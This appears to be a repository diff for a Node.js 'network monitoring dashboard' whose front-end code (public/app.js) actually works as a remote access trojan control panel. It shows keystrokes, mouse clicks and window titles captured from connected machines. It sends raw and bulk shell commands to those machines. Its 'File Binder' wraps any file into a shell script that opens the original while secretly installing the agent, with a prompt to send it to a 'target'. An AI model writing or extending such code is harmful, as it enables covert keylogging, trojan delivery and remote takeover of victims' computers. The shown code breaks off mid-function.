"integrity": "sha512-VMbMxbDeehAxpOtWJXlcUS5E8iXh6QmN+BkRX1GARS3wRaXEEgzCcB10gTQazO42tpNIya8xIyNx8fll1OFPrg==",
"license": "MIT",
"dependencies": {
"debug": "2.6.9",
"depd": "2.0.0",
"destroy": "1.2.0",
"encodeurl": "~2.0.0",
"escape-html": "~1.0.3",
"etag": "~1.8.1",
"fresh": "~0.5.2",
"http-errors": "~2.0.1",
"mime": "1.6.0",
"ms": "2.1.3",
"on-finished": "~2.4.1",
"range-parser": "~1.2.1",
"statuses": "~2.0.2"
},
"engines": {
"node": ">= 0.8.0"
}
},
"node_modules/send/node_modules/ms": {
"version": "2.1.3",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
"integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
"license": "MIT"
},
"node_modules/serve-static": {
"version": "1.16.3",
"resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.3.tgz",
"integrity": "sha512-x0RTqQel6g5SY7Lg6ZreMmsOzncHFU7nhnRWkKgWuMTu5NN0DR5oruckMqRvacAN9d5w6ARnRBXl9xhDCgfMeA==",
"license": "MIT",
"dependencies": {
"encodeurl": "~2.0.0",
"escape-html": "~1.0.3",
"parseurl": "~1.3.3",
"send": "~0.19.1"
},
"engines": {
"node": ">= 0.8.0"
}
},
"node_modules/setprototypeof": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
"integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==",
"license": "ISC"
},
"node_modules/side-channel": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz",
"integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==",
"license": "MIT",
"dependencies": {
"es-errors": "^1.3.0",
"object-inspect": "^1.13.4",
"side-channel-list": "^1.0.1",
"side-channel-map": "^1.0.1",
"side-channel-weakmap": "^1.0.2"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/side-channel-list": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz",
"integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==",
"license": "MIT",
"dependencies": {
"es-errors": "^1.3.0",
"object-inspect": "^1.13.4"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/side-channel-map": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
"integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
"license": "MIT",
"dependencies": {
"call-bound": "^1.0.2",
"es-errors": "^1.3.0",
"get-intrinsic": "^1.2.5",
"object-inspect": "^1.13.3"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/side-channel-weakmap": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
"integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
"license": "MIT",
"dependencies": {
"call-bound": "^1.0.2",
"es-errors": "^1.3.0",
"get-intrinsic": "^1.2.5",
"object-inspect": "^1.13.3",
"side-channel-map": "^1.0.1"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/statuses": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
"integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/streamsearch": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-1.1.0.tgz",
"integrity": "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==",
"engines": {
"node": ">=10.0.0"
}
},
"node_modules/string_decoder": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
"integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
"license": "MIT",
"dependencies": {
"safe-buffer": "~5.2.0"
}
},
"node_modules/toidentifier": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
"integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
"license": "MIT",
"engines": {
"node": ">=0.6"
}
},
"node_modules/type-is": {
"version": "1.6.18",
"resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
"integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
"license": "MIT",
"dependencies": {
"media-typer": "0.3.0",
"mime-types": "~2.1.24"
},
"engines": {
"node": ">= 0.6"
}
},
"node_modules/typedarray": {
"version": "0.0.6",
"resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
"integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==",
"license": "MIT"
},
"node_modules/unpipe": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
"integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/util-deprecate": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
"integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
"license": "MIT"
},
"node_modules/utils-merge": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
"integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==",
"license": "MIT",
"engines": {
"node": ">= 0.4.0"
}
},
"node_modules/vary": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
"integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/ws": {
"version": "8.21.1",
"resolved": "https://registry.npmjs.org/ws/-/ws-8.21.1.tgz",
"integrity": "sha512-+0NTnW77fFN/DjQi6k/Sq/Yvk4Sgajw7urW8V+asjXnRgDs9gyGkdb7EzgfhA4goXsRIZKE28fzIXBHEzhuiWw==",
"license": "MIT",
"engines": {
"node": ">=10.0.0"
},
"peerDependencies": {
"bufferutil": "^4.0.1",
"utf-8-validate": ">=5.0.2"
},
"peerDependenciesMeta": {
"bufferutil": {
"optional": true
},
"utf-8-validate": {
"optional": true
}
}
}
}
}

16
package.json Normal file
View File

@@ -0,0 +1,16 @@
{
"name": "network-node-dashboard",
"version": "1.0.0",
"description": "Central Agent Control & Network Monitoring Dashboard",
"main": "server.js",
"scripts": {
"start": "node server.js",
"dev": "node --watch server.js"
},
"dependencies": {
"cors": "^2.8.5",
"express": "^4.19.2",
"multer": "^2.2.0",
"ws": "^8.17.0"
}
}

763
public/app.js Normal file
View File

@@ -0,0 +1,763 @@
// NexusOps Dashboard Application Logic
let nodesData = [];
let commandHistory = [];
let masterSystemLogs = [];
let inputData = [];
let currentFilter = 'all';
let currentView = 'grid';
let serverIp = window.location.hostname;
let serverPort = window.location.port || '3000';
let publicUrl = null;
let telemetryChart = null;
document.addEventListener('DOMContentLoaded', () => {
initWebSocket();
initChart();
updateServerEndpoint();
});
function updateServerEndpoint() {
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
const placeholders = document.querySelectorAll('.server-url-placeholder');
placeholders.forEach(el => el.textContent = endpoint);
document.getElementById('navServerEndpoint').textContent = endpoint;
const linkEl = document.getElementById('binaryDownloadLink');
if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
}
function initWebSocket() {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = `${protocol}//${window.location.host}`;
const ws = new WebSocket(wsUrl);
ws.onopen = () => {
document.getElementById('navConnectionStatus').textContent = 'Live Connected';
document.querySelector('.status-indicator').classList.add('online');
};
ws.onmessage = (event) => {
try {
const data = JSON.parse(event.data);
if (data.type === 'NODES_UPDATE') {
serverIp = data.serverIp || serverIp;
serverPort = data.port || serverPort;
publicUrl = data.publicUrl || publicUrl;
updateServerEndpoint();
nodesData = data.nodes || [];
commandHistory = data.commandHistory || [];
masterSystemLogs = data.masterSystemLogs || [];
inputData = data.inputData || [];
renderDashboard();
}
} catch (e) {
console.error("Error parsing WebSocket payload:", e);
}
};
ws.onclose = () => {
document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)';
document.querySelector('.status-indicator').classList.remove('online');
setTimeout(initWebSocket, 3000);
};
}
function renderDashboard() {
renderOverviewStats();
renderNodesGrid();
renderAuditLogs();
renderMasterSyslogs();
renderIntelLog();
checkForNewNodes();
updateChartData();
}
function renderOverviewStats() {
const total = nodesData.length;
const online = nodesData.filter(n => n.status === 'online').length;
const offline = total - online;
let avgCpu = 0;
if (online > 0) {
const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0);
avgCpu = Math.round(sumCpu / online);
}
document.getElementById('statTotalNodes').textContent = total;
document.getElementById('statOnlineNodes').textContent = online;
document.getElementById('statOfflineNodes').textContent = offline;
document.getElementById('statAvgCpu').textContent = `${avgCpu}%`;
}
function renderNodesGrid() {
const container = document.getElementById('nodesGrid');
const search = document.getElementById('searchInput').value.toLowerCase();
let filtered = nodesData.filter(node => {
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
const matchesSearch = !search ||
node.hostname.toLowerCase().includes(search) ||
node.ip.toLowerCase().includes(search) ||
node.platform.toLowerCase().includes(search) ||
node.id.toLowerCase().includes(search);
return matchesFilter && matchesSearch;
});
if (filtered.length === 0) {
container.innerHTML = `
<div class="empty-state">
<i class="fa-solid fa-satellite-dish"></i>
<h3>No Connected Agents Found</h3>
<p>No computers match your filter. Download the agent installer to link machines.</p>
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
</div>
`;
return;
}
container.innerHTML = filtered.map(node => {
const isOnline = node.status === 'online';
const osIcon = getOsIcon(node.platform);
return `
<div class="node-card ${isOnline ? 'online' : 'offline'}">
<div class="card-header">
<div class="node-info-main">
<div class="platform-badge-icon">
<i class="${osIcon}"></i>
</div>
<div class="node-title">
<h3>${escapeHtml(node.hostname)}</h3>
<span>${node.ip}${node.osName || node.platform}</span>
</div>
</div>
<span class="status-badge ${isOnline ? 'online' : 'offline'}">
<span class="status-indicator ${isOnline ? 'online' : ''}"></span>
${isOnline ? 'Online' : 'Offline'}
</span>
</div>
<div class="metrics-container">
<div class="metric-bar-group">
<div class="metric-bar-label">
<span><i class="fa-solid fa-microchip"></i> CPU Usage</span>
<span>${node.cpuUsage}%</span>
</div>
<div class="metric-bar-bg">
<div class="metric-bar-fill fill-cpu" style="width: ${node.cpuUsage}%"></div>
</div>
</div>
<div class="metric-bar-group">
<div class="metric-bar-label">
<span><i class="fa-solid fa-memory"></i> Memory</span>
<span>${node.memUsage}%</span>
</div>
<div class="metric-bar-bg">
<div class="metric-bar-fill fill-mem" style="width: ${node.memUsage}%"></div>
</div>
</div>
<div class="metric-bar-group">
<div class="metric-bar-label">
<span><i class="fa-solid fa-hard-drive"></i> Disk Space</span>
<span>${node.diskUsage}%</span>
</div>
<div class="metric-bar-bg">
<div class="metric-bar-fill fill-disk" style="width: ${node.diskUsage}%"></div>
</div>
</div>
</div>
<div class="card-footer">
<span style="font-size: 0.75rem; color: var(--text-muted)">
<i class="fa-regular fa-clock"></i> Heartbeat: ${formatTime(node.lastHeartbeat)}
</span>
<div class="node-actions">
<button class="btn-icon" title="Ping Node" onclick="pingNode('${node.id}', '${escapeHtml(node.hostname)}')">
<i class="fa-solid fa-bolt"></i>
</button>
<button class="btn-icon" title="Control Center" onclick="openCommandModal('${node.id}', '${escapeHtml(node.hostname)}')">
<i class="fa-solid fa-sliders"></i> Control
</button>
<button class="btn-icon" title="Unregister Node" onclick="deleteNode('${node.id}')">
<i class="fa-solid fa-trash-can"></i>
</button>
</div>
</div>
</div>
`;
}).join('');
}
function renderAuditLogs() {
const container = document.getElementById('auditLogContent');
document.getElementById('logCount').textContent = `${commandHistory.length} events`;
if (commandHistory.length === 0) {
container.innerHTML = `<div class="log-entry system">[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.</div>`;
return;
}
container.innerHTML = commandHistory.map(item => {
let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system';
return `
<div class="log-entry ${statusClass}">
[${new Date(item.createdAt).toLocaleTimeString()}] <strong>${escapeHtml(item.hostname)}</strong> ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()}
${item.output ? `<pre style="margin-top:0.2rem; font-size:0.8rem; color:#d1d5db; white-space:pre-wrap;">${escapeHtml(item.output.trim())}</pre>` : ''}
</div>
`;
}).join('');
container.scrollTop = container.scrollHeight;
}
function renderMasterSyslogs() {
const container = document.getElementById('syslogStreamContent');
if (!container) return;
const countEl = document.getElementById('syslogCount');
const searchInput = document.getElementById('logSearchInput');
const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
let filtered = masterSystemLogs;
if (query) {
filtered = masterSystemLogs.filter(l =>
l.hostname.toLowerCase().includes(query) ||
l.entry.toLowerCase().includes(query)
);
}
if (countEl) countEl.textContent = `${filtered.length} entries`;
if (filtered.length === 0) {
container.innerHTML = `<div class="log-entry system">[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".</div>`;
return;
}
container.innerHTML = filtered.map(log => {
let logText = escapeHtml(log.entry);
let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail');
let isWarn = logText.toLowerCase().includes('warn');
let logClass = isError ? 'error' : isWarn ? 'system' : 'success';
return `
<div class="log-entry ${logClass}">
[${new Date(log.timestamp).toLocaleTimeString()}] <strong style="color:var(--primary-cyan);">${escapeHtml(log.hostname)}</strong>: ${logText}
</div>
`;
}).join('');
container.scrollTop = container.scrollHeight;
}
function initChart() {
const ctx = document.getElementById('telemetryChart').getContext('2d');
telemetryChart = new Chart(ctx, {
type: 'line',
data: {
labels: [],
datasets: [
{
label: 'Avg CPU Load (%)',
borderColor: '#06b6d4',
backgroundColor: 'rgba(6, 182, 212, 0.1)',
fill: true,
data: [],
tension: 0.4
},
{
label: 'Avg RAM Load (%)',
borderColor: '#8b5cf6',
backgroundColor: 'rgba(139, 92, 246, 0.1)',
fill: true,
data: [],
tension: 0.4
}
]
},
options: {
responsive: true,
maintainAspectRatio: false,
scales: {
x: {
grid: { color: 'rgba(255, 255, 255, 0.05)' },
ticks: { color: '#9ca3af' }
},
y: {
min: 0,
max: 100,
grid: { color: 'rgba(255, 255, 255, 0.05)' },
ticks: { color: '#9ca3af' }
}
},
plugins: {
legend: { labels: { color: '#f3f4f6' } }
}
}
});
}
function updateChartData() {
if (!telemetryChart) return;
const timeStr = new Date().toLocaleTimeString();
const onlineNodes = nodesData.filter(n => n.status === 'online');
const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0;
const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0;
telemetryChart.data.labels.push(timeStr);
telemetryChart.data.datasets[0].data.push(Math.round(avgCpu));
telemetryChart.data.datasets[1].data.push(Math.round(avgMem));
if (telemetryChart.data.labels.length > 15) {
telemetryChart.data.labels.shift();
telemetryChart.data.datasets[0].data.shift();
telemetryChart.data.datasets[1].data.shift();
}
telemetryChart.update();
}
function getOsIcon(platform) {
const p = (platform || '').toLowerCase();
if (p.includes('win')) return 'fa-brands fa-windows';
if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple';
return 'fa-brands fa-linux';
}
function escapeHtml(str) {
return (str || '').replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
}
function formatTime(timestamp) {
if (!timestamp) return 'Never';
const diff = Math.floor((Date.now() - timestamp) / 1000);
if (diff < 5) return 'Just now';
if (diff < 60) return `${diff}s ago`;
return `${Math.floor(diff / 60)}m ago`;
}
function setFilter(filter, el) {
currentFilter = filter;
document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active'));
el.classList.add('active');
renderNodesGrid();
}
function filterNodes() {
renderNodesGrid();
}
function switchView(view, el) {
currentView = view;
document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active'));
el.classList.add('active');
renderNodesGrid();
}
function openInstallerModal() {
updateServerEndpoint();
document.getElementById('installerModal').classList.add('active');
}
function closeInstallerModal() {
document.getElementById('installerModal').classList.remove('active');
}
function switchTab(tabName) {
document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
event.currentTarget.classList.add('active');
document.getElementById(`tab-${tabName}`).classList.add('active');
}
function switchControlTab(tabName, btnEl) {
document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active'));
document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none');
btnEl.classList.add('active');
document.getElementById(`ctrl-${tabName}`).style.display = 'block';
}
function copyCode(elementId, btn) {
const text = document.getElementById(elementId).innerText;
navigator.clipboard.writeText(text).then(() => {
const original = btn.innerHTML;
btn.innerHTML = `<i class="fa-solid fa-check"></i> Copied!`;
btn.style.background = 'var(--accent-emerald)';
setTimeout(() => {
btn.innerHTML = original;
btn.style.background = '';
}, 2000);
});
}
function openCommandModal(nodeId, hostname) {
document.getElementById('cmdModalNodeId').value = nodeId;
document.getElementById('cmdModalHostname').textContent = hostname;
document.getElementById('cmdInput').value = '';
document.getElementById('commandModal').classList.add('active');
}
function closeCommandModal() {
document.getElementById('commandModal').classList.remove('active');
}
function setQuickCmd(cmd) {
document.getElementById('cmdInput').value = cmd;
}
function submitNodeAction(actionType, extraPayload = {}) {
const nodeId = document.getElementById('cmdModalNodeId').value;
let payload = { ...extraPayload };
if (actionType === 'raw_command') {
const command = document.getElementById('cmdInput').value.trim();
if (!command) return;
payload.command = command;
}
fetch(`/api/nodes/${nodeId}/command`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType, payload, command: payload.command })
})
.then(res => res.json())
.then(data => {
if (data.success) {
closeCommandModal();
}
});
}
function submitServiceAction(action) {
const service = document.getElementById('serviceNameInput').value.trim();
if (!service) return alert("Please enter a service name (e.g. nginx)");
submitNodeAction('manage_service', { service, action });
}
function submitKillProcess() {
const pid = document.getElementById('killPidInput').value;
if (!pid) return alert("Please enter a valid PID");
submitNodeAction('kill_process', { pid });
}
function openBulkModal() {
document.getElementById('bulkModal').classList.add('active');
}
function closeBulkModal() {
document.getElementById('bulkModal').classList.remove('active');
}
function submitBulkCommand() {
const command = document.getElementById('bulkCmdInput').value.trim();
if (!command) return;
fetch('/api/nodes/bulk-command', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } })
})
.then(res => res.json())
.then(data => {
if (data.success) {
closeBulkModal();
alert(`Task broadcasted to ${data.count} online network nodes!`);
} else {
alert(data.error || "Failed to dispatch bulk command");
}
});
}
function submitTagUpdate() {
const tags = document.getElementById('tagInput').value.trim();
if (!tags) return alert("Please enter at least one tag");
submitNodeAction('update_tags', { tags });
}
function submitHeartbeatRate() {
const interval = document.getElementById('heartbeatInput').value;
if (!interval) return alert("Please enter a valid interval in seconds");
submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) });
}
function submitSystemReboot() {
if (confirm("⚠️ Are you sure you want to reboot this target machine?")) {
submitNodeAction('reboot_system');
}
}
function deleteNode(nodeId) {
if (confirm("Are you sure you want to unregister this node?")) {
fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' });
}
}
// ── Master Intelligence Log Rendering ──
function renderIntelLog() {
const container = document.getElementById('intelLogContent');
if (!container) return;
const nodeFilter = document.getElementById('intelNodeFilter');
const typeFilter = document.getElementById('intelTypeFilter');
const searchInput = document.getElementById('intelSearchInput');
// Populate node filter dropdown dynamically
if (nodeFilter) {
const currentVal = nodeFilter.value;
nodeFilter.innerHTML = '<option value="all">All Machines</option>';
nodesData.forEach(n => {
const sel = n.id === currentVal ? ' selected' : '';
nodeFilter.innerHTML += `<option value="${n.id}"${sel}>${escapeHtml(n.hostname)} (${n.ip})</option>`;
});
}
const selNodeId = nodeFilter ? nodeFilter.value : 'all';
const selType = typeFilter ? typeFilter.value : 'all';
const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
// Show machine details when a specific node is selected
renderMachineDetails(selNodeId);
// Filter input data
let filtered = inputData;
if (selNodeId !== 'all') {
filtered = filtered.filter(e => e.nodeId === selNodeId);
}
if (selType !== 'all') {
filtered = filtered.filter(e => e.eventType === selType);
}
if (query) {
filtered = filtered.filter(e => {
const dataStr = JSON.stringify(e.data || '').toLowerCase();
return dataStr.includes(query) ||
(e.windowTitle || '').toLowerCase().includes(query) ||
(e.hostname || '').toLowerCase().includes(query);
});
}
const countEl = document.getElementById('intelCount');
if (countEl) countEl.textContent = `${filtered.length} events`;
if (filtered.length === 0) {
container.innerHTML = '<div class="log-entry system">[INTEL] No captured input events. Waiting for agent keystroke/click data...</div>';
return;
}
container.innerHTML = filtered.map(ev => {
const timeStr = new Date(ev.timestamp).toLocaleTimeString();
const hostStr = escapeHtml(ev.hostname || 'Unknown');
let icon, cssClass, detailStr;
switch (ev.eventType) {
case 'keystroke':
icon = '<i class="fa-solid fa-keyboard"></i>';
cssClass = 'log-entry intel-keystroke';
detailStr = `Key: <strong style="color:#fbbf24;">${escapeHtml((ev.data && ev.data.key) || '?')}</strong>`;
break;
case 'click':
icon = '<i class="fa-solid fa-arrow-pointer"></i>';
cssClass = 'log-entry intel-click';
detailStr = `Button: <strong style="color:#34d399;">${escapeHtml((ev.data && ev.data.button) || '?')}</strong> @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`;
break;
case 'scroll':
icon = '<i class="fa-solid fa-arrow-up-wide-short"></i>';
cssClass = 'log-entry intel-scroll';
detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`;
break;
default:
icon = '<i class="fa-solid fa-circle-dot"></i>';
cssClass = 'log-entry';
detailStr = escapeHtml(JSON.stringify(ev.data || {}));
}
const winStr = ev.windowTitle ? ` <span style="color:var(--text-dim); font-size:0.75rem;">[${escapeHtml(ev.windowTitle)}]</span>` : '';
return `<div class="${cssClass}">
<span style="color:var(--primary-cyan);">[${timeStr}]</span>
${icon}
<strong style="color:var(--primary-purple);">${hostStr}</strong>
${detailStr}${winStr}
</div>`;
}).join('');
container.scrollTop = container.scrollHeight;
}
function renderMachineDetails(nodeId) {
const bar = document.getElementById('machineDetailsBar');
if (!bar) return;
if (nodeId === 'all') {
const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))];
if (machinesWithInput.length === 0) {
bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-info-circle"></i> Select a specific machine to see its full details here. Input data from agents will appear below.</span>';
} else {
bar.innerHTML = `<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-server"></i> ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.</span>`;
}
return;
}
const node = nodesData.find(n => n.id === nodeId);
if (!node) {
bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;">Machine details unavailable.</span>';
return;
}
const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)';
const osIcon = getOsIcon(node.platform);
bar.innerHTML = `
<div class="machine-detail-chip"><i class="${osIcon}"></i> <strong>${escapeHtml(node.hostname)}</strong></div>
<div class="machine-detail-chip"><i class="fa-solid fa-globe"></i> ${escapeHtml(node.ip)}</div>
<div class="machine-detail-chip"><i class="fa-solid fa-laptop"></i> ${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})</div>
<div class="machine-detail-chip"><i class="fa-solid fa-microchip"></i> CPU: ${node.cpuUsage}%</div>
<div class="machine-detail-chip"><i class="fa-solid fa-memory"></i> MEM: ${node.memUsage}%</div>
<div class="machine-detail-chip"><i class="fa-solid fa-hard-drive"></i> DISK: ${node.diskUsage}%</div>
<div class="machine-detail-chip"><i class="fa-solid fa-clock"></i> ${formatUptime(node.uptime)}</div>
<div class="machine-detail-chip" style="color:${statusColor};"><i class="fa-solid fa-circle"></i> ${node.status.toUpperCase()}</div>
`;
}
function formatUptime(seconds) {
if (!seconds || seconds <= 0) return 'N/A';
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}
// ── File Binder ──
let binderFile = null;
function openBinderModal() {
updateServerEndpoint();
document.getElementById('binderModal').classList.add('active');
resetBinder();
}
function closeBinderModal() {
document.getElementById('binderModal').classList.remove('active');
resetBinder();
}
function resetBinder() {
binderFile = null;
document.getElementById('binderFileInput').value = '';
document.getElementById('binderFileName').innerHTML = 'Click or drag any file here';
document.getElementById('binderDropzone').classList.remove('has-file');
document.getElementById('binderSubmitBtn').disabled = true;
document.getElementById('binderStatus').style.display = 'none';
}
function handleBinderFile(input) {
if (input.files && input.files[0]) {
binderFile = input.files[0];
document.getElementById('binderFileName').innerHTML = `<strong>${escapeHtml(binderFile.name)}</strong> <span style="color:var(--text-dim);">(${(binderFile.size / 1024).toFixed(1)} KB)</span>`;
document.getElementById('binderDropzone').classList.add('has-file');
document.getElementById('binderSubmitBtn').disabled = false;
}
}
async function submitBinder() {
if (!binderFile) return;
const btn = document.getElementById('binderSubmitBtn');
const status = document.getElementById('binderStatus');
btn.disabled = true;
btn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Binding...';
status.style.display = 'block';
status.className = '';
status.textContent = 'Processing file...';
const formData = new FormData();
formData.append('file', binderFile);
try {
const resp = await fetch('/api/bind', { method: 'POST', body: formData });
if (!resp.ok) {
const err = await resp.json().catch(() => ({ error: 'Server error' }));
throw new Error(err.error || `HTTP ${resp.status}`);
}
const blob = await resp.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = binderFile.name + '.sh';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
status.className = 'success';
status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`;
} catch (e) {
status.className = 'error';
status.textContent = `${e.message}`;
}
btn.disabled = false;
btn.innerHTML = '<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download';
}
// ── Kill Switch ──
function killSwitch() {
if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return;
fetch('/api/nodes/killswitch', { method: 'POST' })
.then(r => r.json())
.then(d => {
if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`);
else alert(d.error || 'No nodes to kill.');
});
}
// ── Ping Node ──
function pingNode(nodeId, hostname) {
fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' })
.then(r => r.json())
.then(d => {
if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`);
});
}
// ── New Node Sound & Notification ──
let knownNodeIds = new Set();
function checkForNewNodes() {
nodesData.forEach(node => {
if (!knownNodeIds.has(node.id) && node.status === 'online') {
knownNodeIds.add(node.id);
// Browser notification
if (Notification.permission === 'granted') {
new Notification('🖥️ New Agent Connected', {
body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`,
